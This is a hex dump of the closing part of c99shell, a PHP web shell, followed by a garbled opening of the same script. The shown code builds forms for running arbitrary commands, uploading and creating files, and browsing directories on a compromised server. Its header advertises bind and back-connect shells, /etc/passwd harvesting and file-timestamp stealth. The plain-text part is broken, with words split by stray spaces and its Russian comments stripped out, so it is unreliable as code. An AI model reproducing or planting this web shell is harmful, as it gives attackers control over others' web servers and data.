61 72 72 61 79 28 22 65 78 74 5F 77 72 69 22 2C 22 65 78 74 5F 72 74 66 22 29 2C 0A 20 20 22 65 78 74 5F 73 77 66 22 3D 3E 61 72 72 61 79 28 22 65 78 74 5F 73 77 66 22 2C 22 65 78 74 5F 66 6C 61 22 29 2C 0A 20 20 22 65 78 74 5F 6D 70 33 22 3D 3E 61 72 72 61 79 28 22 65 78 74 5F 6D 70 33 22 2C 22 65 78 74 5F 61 75 22 2C 22 65 78 74 5F 6D 69 64 69 22 2C 22 65 78 74 5F 6D 69 64 22 29 2C 0A 20 20 22 65 78 74 5F 68 74 61 63 63 65 73 73 22 3D 3E 61 72 72 61 79 28 22 65 78 74 5F 68 74 61 63 63 65 73 73 22 2C 22 65 78 74 5F 68 74 70 61 73 73 77 64 22 2C 22 65 78 74 5F 68 74 22 2C 22 65 78 74 5F 68 74 61 22 2C 22 65 78 74 5F 73 6F 22 29 0A 20 29 3B 0A 20 69 66 20 28 21 24 67 65 74 61 6C 6C 29 0A 20 7B 0A 20 20 68 65 61 64 65 72 28 22 43 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 69 6D 61 67 65 2F 67 69 66 22 29 3B 0A 20 20 68 65 61 64 65 72 28 22 43 61 63 68 65 2D 63 6F 6E 74 72 6F 6C 3A 20 70 75 62 6C 69 63 22 29 3B 0A 20 20 68 65 61 64 65 72 28 22 45 78 70 69 72 65 73 3A 20 22 2E 64 61 74 65 28 22 72 22 2C 6D 6B 74 69 6D 65 28 30 2C 30 2C 30 2C 31 2C 31 2C 32 30 33 30 29 29 29 3B 0A 20 20 68 65 61 64 65 72 28 22 43 61 63 68 65 2D 63 6F 6E 74 72 6F 6C 3A 20 6D 61 78 2D 61 67 65 3D 22 2E 28 36 30 2A 36 30 2A 32 34 2A 37 29 29 3B 0A 20 20 68 65 61 64 65 72 28 22 4C 61 73 74 2D 4D 6F 64 69 66 69 65 64 3A 20 22 2E 64 61 74 65 28 22 72 22 2C 66 69 6C 65 6D 74 69 6D 65 28 5F 5F 46 49 4C 45 5F 5F 29 29 29 3B 0A 20 20 66 6F 72 65 61 63 68 28 24 69 6D 67 65 71 75 61 6C 73 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 69 66 20 28 69 6E 5F 61 72 72 61 79 28 24 69 6D 67 2C 24 76 29 29 20 7B 24 69 6D 67 20 3D 20 24 6B 3B 20 62 72 65 61 6B 3B 7D 7D 0A 20 20 69 66 20 28 65 6D 70 74 79 28 24 69 6D 61 67 65 73 5B 24 69 6D 67 5D 29 29 20 7B 24 69 6D 67 20 3D 20 22 73 6D 61 6C 6C 5F 75 6E 6B 22 3B 7D 0A 20 20 69 66 20 28 69 6E 5F 61 72 72 61 79 28 24 69 6D 67 2C 24 65 78 74 5F 74 61 72 29 29 20 7B 24 69 6D 67 20 3D 20 22 65 78 74 5F 74 61 72 22 3B 7D 0A 20 20 65 63 68 6F 20 62 61 73 65 36 34 5F 64 65 63 6F 64 65 28 24 69 6D 61 67 65 73 5B 24 69 6D 67 5D 29 3B 0A 20 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 66 6F 72 65 61 63 68 28 24 69 6D 67 65 71 75 61 6C 73 20 61 73 20 24 61 3D 3E 24 62 29 20 7B 66 6F 72 65 61 63 68 20 28 24 62 20 61 73 20 24 64 29 20 7B 69 66 20 28 24 61 20 21 3D 20 24 64 29 20 7B 69 66 20 28 21 65 6D 70 74 79 28 24 69 6D 61 67 65 73 5B 24 64 5D 29 29 20 7B 65 63 68 6F 28 22 57 61 72 6E 69 6E 67 21 20 52 65 6D 6F 76 65 20 5C 24 69 6D 61 67 65 73 5B 22 2E 24 64 2E 22 5D 3C 62 72 3E 22 29 3B 7D 7D 7D 7D 0A 20 20 6E 61 74 73 6F 72 74 28 24 69 6D 61 67 65 73 29 3B 0A 20 20 24 6B 20 3D 20 61 72 72 61 79 5F 6B 65 79 73 28 24 69 6D 61 67 65 73 29 3B 0A 20 20 65 63 68 6F 20 20 22 3C 63 65 6E 74 65 72 3E 22 3B 0A 20 20 66 6F 72 65 61 63 68 20 28 24 6B 20 61 73 20 24 75 29 20 7B 65 63 68 6F 20 24 75 2E 22 3A 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 22 2E 24 75 2E 22 5C 22 20 62 6F 72 64 65 72 3D 5C 22 31 5C 22 3E 3C 62 72 3E 22 3B 7D 0A 20 20 65 63 68 6F 20 22 3C 2F 63 65 6E 74 65 72 3E 22 3B 0A 20 7D 0A 20 65 78 69 74 3B 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 61 62 6F 75 74 22 29 20 7B 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 43 72 65 64 69 74 73 3A 3C 62 72 3E 49 64 65 61 2C 20 6C 65 61 64 69 6E 67 20 61 6E 64 20 63 6F 64 69 6E 67 20 62 79 20 74 72 69 73 74 72 61 6D 5B 43 43 54 65 61 4D 5D 2E 3C 62 72 3E 42 65 74 61 2D 74 65 73 74 69 6E 67 20 61 6E 64 20 73 6F 6D 65 20 74 69 70 73 20 2D 20 4E 75 6B 4C 65 6F 4E 20 5B 41 6E 54 69 53 68 40 52 65 20 74 45 61 4D 5D 2E 3C 62 72 3E 54 68 61 6E 6B 73 20 61 6C 6C 20 77 68 6F 20 72 65 70 6F 72 74 20 62 75 67 73 2E 3C 62 72 3E 41 6C 6C 20 62 75 67 73 20 73 65 6E 64 20 74 6F 20 74 72 69 73 74 72 61 6D 27 73 20 49 43 51 20 23 36 35 36 35 35 35 20 3C 61 20 68 72 65 66 3D 5C 22 68 74 74 70 3A 2F 2F 77 77 70 2E 69 63 71 2E 63 6F 6D 2F 73 63 72 69 70 74 73 2F 63 6F 6E 74 61 63 74 2E 64 6C 6C 3F 6D 73 67 74 6F 3D 36 35 36 35 35 35 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 68 74 74 70 3A 2F 2F 77 77 70 2E 69 63 71 2E 63 6F 6D 2F 73 63 72 69 70 74 73 2F 6F 6E 6C 69 6E 65 2E 64 6C 6C 3F 69 63 71 3D 36 35 36 35 35 35 26 69 6D 67 3D 35 5C 22 20 62 6F 72 64 65 72 3D 30 20 61 6C 69 67 6E 3D 61 62 73 6D 69 64 64 6C 65 3E 3C 2F 61 3E 2E 3C 2F 62 3E 22 3B 7D 0A 3F 3E 0A 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 3C 61 20 62 6F 6F 6B 6D 61 72 6B 3D 22 6D 69 6E 69 70 61 6E 65 6C 22 3E 3C 62 72 3E 3C 54 41 42 4C 45 20 73 74 79 6C 65 3D 22 42 4F 52 44 45 52 2D 43 4F 4C 4C 41 50 53 45 3A 20 63 6F 6C 6C 61 70 73 65 22 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 62 6F 72 64 65 72 43 6F 6C 6F 72 44 61 72 6B 3D 23 36 36 36 36 36 36 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 35 20 68 65 69 67 68 74 3D 22 31 22 20 77 69 64 74 68 3D 22 31 30 30 25 22 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 63 30 63 30 63 30 20 62 6F 72 64 65 72 3D 31 3E 0A 3C 74 72 3E 3C 74 64 20 77 69 64 74 68 3D 22 31 30 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 20 63 6F 6C 73 70 61 6E 3D 22 32 22 3E 3C 70 20 61 6C 69 67 6E 3D 22 63 65 6E 74 65 72 22 3E 3C 62 3E 3A 3A 20 3C 61 20 68 72 65 66 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 61 63 74 3D 63 6D 64 26 64 3D 3C 3F 70 68 70 20 65 63 68 6F 20 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 3B 20 3F 3E 22 3E 3C 62 3E 43 6F 6D 6D 61 6E 64 20 65 78 65 63 75 74 65 3C 2F 62 3E 3C 2F 61 3E 20 3A 3A 3C 2F 62 3E 3C 2F 70 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 0A 3C 74 72 3E 3C 74 64 20 77 69 64 74 68 3D 22 35 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E 45 6E 74 65 72 3A 20 3C 2F 62 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 22 63 6D 64 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 22 64 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 64 69 73 70 64 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 63 6D 64 22 20 73 69 7A 65 3D 22 35 30 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 63 6D 64 29 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 22 63 6D 64 5F 74 78 74 22 20 76 61 6C 75 65 3D 22 31 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 22 45 78 65 63 75 74 65 22 3E 3C 2F 66 6F 72 6D 3E 3C 2F 74 64 3E 3C 74 64 20 77 69 64 74 68 3D 22 35 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E 53 65 6C 65 63 74 3A 20 3C 2F 62 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 61 63 74 3D 63 6D 64 22 20 6D 65 74 68 6F 64 3D 22 50 4F 53 54 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 22 63 6D 64 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 22 64 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 64 69 73 70 64 3B 20 3F 3E 22 3E 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 22 63 6D 64 22 3E 3C 3F 70 68 70 20 66 6F 72 65 61 63 68 20 28 24 63 6D 64 61 6C 69 61 73 65 73 20 61 73 20 24 61 6C 73 29 20 7B 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 61 6C 73 5B 31 5D 29 2E 22 5C 22 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 61 6C 73 5B 30 5D 29 2E 22 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 7D 20 3F 3E 3C 2F 73 65 6C 65 63 74 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 22 63 6D 64 5F 74 78 74 22 20 76 61 6C 75 65 3D 22 31 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 22 45 78 65 63 75 74 65 22 3E 3C 2F 66 6F 72 6D 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 54 41 42 4C 45 3E 0A 3C 62 72 3E 0A 3C 54 41 42 4C 45 20 73 74 79 6C 65 3D 22 42 4F 52 44 45 52 2D 43 4F 4C 4C 41 50 53 45 3A 20 63 6F 6C 6C 61 70 73 65 22 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 62 6F 72 64 65 72 43 6F 6C 6F 72 44 61 72 6B 3D 23 36 36 36 36 36 36 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 35 20 68 65 69 67 68 74 3D 22 31 22 20 77 69 64 74 68 3D 22 31 30 30 25 22 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 63 30 63 30 63 30 20 62 6F 72 64 65 72 3D 31 3E 0A 3C 74 72 3E 0A 20 3C 74 64 20 77 69 64 74 68 3D 22 35 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E 3A 3A 20 3C 61 20 68 72 65 66 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 61 63 74 3D 73 65 61 72 63 68 26 64 3D 3C 3F 70 68 70 20 65 63 68 6F 20 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 3B 20 3F 3E 22 3E 3C 62 3E 53 65 61 72 63 68 3C 2F 62 3E 3C 2F 61 3E 20 3A 3A 3C 2F 62 3E 3C 66 6F 72 6D 20 6D 65 74 68 6F 64 3D 22 50 4F 53 54 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 22 73 65 61 72 63 68 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 22 64 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 64 69 73 70 64 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 73 65 61 72 63 68 5F 6E 61 6D 65 22 20 73 69 7A 65 3D 22 32 39 22 20 76 61 6C 75 65 3D 22 28 2E 2A 29 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 63 68 65 63 6B 62 6F 78 22 20 6E 61 6D 65 3D 22 73 65 61 72 63 68 5F 6E 61 6D 65 5F 72 65 67 65 78 70 22 20 76 61 6C 75 65 3D 22 31 22 20 20 63 68 65 63 6B 65 64 3E 20 2D 20 72 65 67 65 78 70 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 22 53 65 61 72 63 68 22 3E 3C 2F 66 6F 72 6D 3E 3C 2F 63 65 6E 74 65 72 3E 3C 2F 70 3E 3C 2F 74 64 3E 0A 20 3C 74 64 20 77 69 64 74 68 3D 22 35 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E 3A 3A 20 3C 61 20 68 72 65 66 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 61 63 74 3D 75 70 6C 6F 61 64 26 64 3D 3C 3F 70 68 70 20 65 63 68 6F 20 24 75 64 3B 20 3F 3E 22 3E 3C 62 3E 55 70 6C 6F 61 64 3C 2F 62 3E 3C 2F 61 3E 20 3A 3A 3C 2F 62 3E 3C 66 6F 72 6D 20 6D 65 74 68 6F 64 3D 22 50 4F 53 54 22 20 45 4E 43 54 59 50 45 3D 22 6D 75 6C 74 69 70 61 72 74 2F 66 6F 72 6D 2D 64 61 74 61 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 22 75 70 6C 6F 61 64 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 66 69 6C 65 22 20 6E 61 6D 65 3D 22 75 70 6C 6F 61 64 66 69 6C 65 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 22 6D 69 6E 69 66 6F 72 6D 22 20 76 61 6C 75 65 3D 22 31 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 22 55 70 6C 6F 61 64 22 3E 3C 62 72 3E 3C 3F 70 68 70 20 65 63 68 6F 20 24 77 64 74 3B 20 3F 3E 3C 2F 66 6F 72 6D 3E 3C 2F 63 65 6E 74 65 72 3E 3C 2F 74 64 3E 0A 3C 2F 74 72 3E 0A 3C 2F 74 61 62 6C 65 3E 0A 3C 62 72 3E 3C 54 41 42 4C 45 20 73 74 79 6C 65 3D 22 42 4F 52 44 45 52 2D 43 4F 4C 4C 41 50 53 45 3A 20 63 6F 6C 6C 61 70 73 65 22 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 62 6F 72 64 65 72 43 6F 6C 6F 72 44 61 72 6B 3D 23 36 36 36 36 36 36 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 35 20 68 65 69 67 68 74 3D 22 31 22 20 77 69 64 74 68 3D 22 31 30 30 25 22 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 63 30 63 30 63 30 20 62 6F 72 64 65 72 3D 31 3E 3C 74 72 3E 3C 74 64 20 77 69 64 74 68 3D 22 35 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E 3A 3A 20 4D 61 6B 65 20 44 69 72 20 3A 3A 3C 2F 62 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 22 6D 6B 64 69 72 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 22 64 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 64 69 73 70 64 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 6D 6B 64 69 72 22 20 73 69 7A 65 3D 22 35 30 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 64 69 73 70 64 3B 20 3F 3E 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 22 43 72 65 61 74 65 22 3E 3C 62 72 3E 3C 3F 70 68 70 20 65 63 68 6F 20 24 77 64 74 3B 20 3F 3E 3C 2F 66 6F 72 6D 3E 3C 2F 63 65 6E 74 65 72 3E 3C 2F 74 64 3E 3C 74 64 20 77 69 64 74 68 3D 22 35 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E 3A 3A 20 4D 61 6B 65 20 46 69 6C 65 20 3A 3A 3C 2F 62 3E 3C 66 6F 72 6D 20 6D 65 74 68 6F 64 3D 22 50 4F 53 54 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 22 6D 6B 66 69 6C 65 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 22 64 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 64 69 73 70 64 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 6D 6B 66 69 6C 65 22 20 73 69 7A 65 3D 22 35 30 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 64 69 73 70 64 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 22 66 74 22 20 76 61 6C 75 65 3D 22 65 64 69 74 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 22 43 72 65 61 74 65 22 3E 3C 62 72 3E 3C 3F 70 68 70 20 65 63 68 6F 20 24 77 64 74 3B 20 3F 3E 3C 2F 66 6F 72 6D 3E 3C 2F 63 65 6E 74 65 72 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 0A 3C 62 72 3E 3C 54 41 42 4C 45 20 73 74 79 6C 65 3D 22 42 4F 52 44 45 52 2D 43 4F 4C 4C 41 50 53 45 3A 20 63 6F 6C 6C 61 70 73 65 22 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 62 6F 72 64 65 72 43 6F 6C 6F 72 44 61 72 6B 3D 23 36 36 36 36 36 36 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 35 20 68 65 69 67 68 74 3D 22 31 22 20 77 69 64 74 68 3D 22 31 30 30 25 22 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 63 30 63 30 63 30 20 62 6F 72 64 65 72 3D 31 3E 3C 74 72 3E 3C 74 64 20 77 69 64 74 68 3D 22 35 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E 3A 3A 20 47 6F 20 44 69 72 20 3A 3A 3C 2F 62 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 22 6C 73 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 64 22 20 73 69 7A 65 3D 22 35 30 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 64 69 73 70 64 3B 20 3F 3E 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 22 47 6F 22 3E 3C 2F 66 6F 72 6D 3E 3C 2F 63 65 6E 74 65 72 3E 3C 2F 74 64 3E 3C 74 64 20 77 69 64 74 68 3D 22 35 30 25 22 20 68 65 69 67 68 74 3D 22 31 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E 3A 3A 20 47 6F 20 46 69 6C 65 20 3A 3A 3C 2F 62 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 22 67 6F 66 69 6C 65 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 22 64 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 64 69 73 70 64 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 74 65 78 74 22 20 6E 61 6D 65 3D 22 66 22 20 73 69 7A 65 3D 22 35 30 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 64 69 73 70 64 3B 20 3F 3E 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 22 47 6F 22 3E 3C 2F 66 6F 72 6D 3E 3C 2F 63 65 6E 74 65 72 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 0A 3C 62 72 3E 3C 54 41 42 4C 45 20 73 74 79 6C 65 3D 22 42 4F 52 44 45 52 2D 43 4F 4C 4C 41 50 53 45 3A 20 63 6F 6C 6C 61 70 73 65 22 20 68 65 69 67 68 74 3D 31 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 62 6F 72 64 65 72 43 6F 6C 6F 72 44 61 72 6B 3D 23 36 36 36 36 36 36 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 30 20 77 69 64 74 68 3D 22 31 30 30 25 22 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 63 30 63 30 63 30 20 62 6F 72 64 65 72 3D 31 3E 3C 74 72 3E 3C 74 64 20 77 69 64 74 68 3D 22 39 39 30 22 20 68 65 69 67 68 74 3D 22 31 22 20 76 61 6C 69 67 6E 3D 22 74 6F 70 22 3E 3C 70 20 61 6C 69 67 6E 3D 22 63 65 6E 74 65 72 22 3E 3C 62 3E 2D 2D 5B 20 63 39 39 73 68 65 6C 6C 20 76 2E 20 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 68 76 65 72 3B 20 3F 3E 20 3C 61 20 68 72 65 66 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 61 63 74 3D 61 62 6F 75 74 22 3E 3C 75 3E 3C 62 3E 70 6F 77 65 72 65 64 20 62 79 3C 2F 62 3E 3C 2F 75 3E 3C 2F 61 3E 20 43 61 70 74 61 69 6E 20 43 72 75 6E 63 68 20 53 65 63 75 72 69 74 79 20 54 65 61 6D 20 7C 20 3C 61 20 68 72 65 66 3D 22 68 74 74 70 3A 2F 2F 63 63 74 65 61 6D 2E 72 75 22 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 22 23 46 46 30 30 30 30 22 3E 68 74 74 70 3A 2F 2F 63 63 74 65 61 6D 2E 72 75 3C 2F 66 6F 6E 74 3E 3C 2F 61 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 22 23 46 46 30 30 30 30 22 3E 3C 2F 66 6F 6E 74 3E 20 7C 20 47 65 6E 65 72 61 74 69 6F 6E 20 74 69 6D 65 3A 20 3C 3F 70 68 70 20 65 63 68 6F 20 72 6F 75 6E 64 28 67 65 74 6D 69 63 72 6F 74 69 6D 65 28 29 2D 73 74 61 72 74 74 69 6D 65 2C 34 29 3B 20 3F 3E 20 5D 2D 2D 3C 2F 62 3E 3C 2F 70 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 0A 3C 2F 62 6F 64 79 3E 3C 2F 68 74 6D 6C 3E 3C 3F 70 68 70 20 63 68 64 69 72 28 24 6C 61 73 74 64 69 72 29 3B 20 63 39 39 73 68 65 78 69 74 28 29 3B 20 3F 3E 0A | <?php /* *************** ************************ ************************ ************************ *************** * * c99shell.php v.1.0 pre-r elease build #13 * Freeware license. * CCTeaM. * c99she ll - - www- , " " . * : http://ccte am.ru/releases/c99shell * * WEB: http://ccteam. ru * ICQ UIN #: 656555 * * : * + (ftp, samba) /, * * ( / tar) * ( ) * modify-time ac cess-time ( . $filestealth) * + PHP- * + md5 , unix-md5, sha1, crc32, base64 * + * + ftp- login;login /etc/passwd ( 1/100 ) * , , /, SQL) * + " " include: () $surl ( ) ( ) cookie "c99sh_surl", - $set_surl cookie "set_surl" * + " " /bin/bash , * back connect ( , NetCat) . * + - * +
( mail()) * * . * * : * ~ s ql- * ~ * * ~-~ , ( !) ICQ UIN #656555 "feedback", . * * Last modify: 2 9.07.2005 * * Captai n Crunch Security TeaM. Coded by tristram * **** ************************ ************************ ************************ ************************ ** */ //Starting calls i f (!function_exists("get microtime")) {function g etmicrotime() {list($use c, $sec) = explode(" ", microtime()); return ((f loat)$usec + (float)$sec );}} error_reporting(5); @ignore_user_abort(true ); @set_magic_quotes_run time(0); $win = strtolow er(substr(PHP_OS,0,3)) = = "win"; define("startti me",getmicrotime()); if (get_magic_quotes_gpc()) {if (!function_exists(" strips")) {function stri ps(&$arr,$k="") {if (is_ array($arr)) {foreach($a rr as $k=>$v) {if (strto upper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = 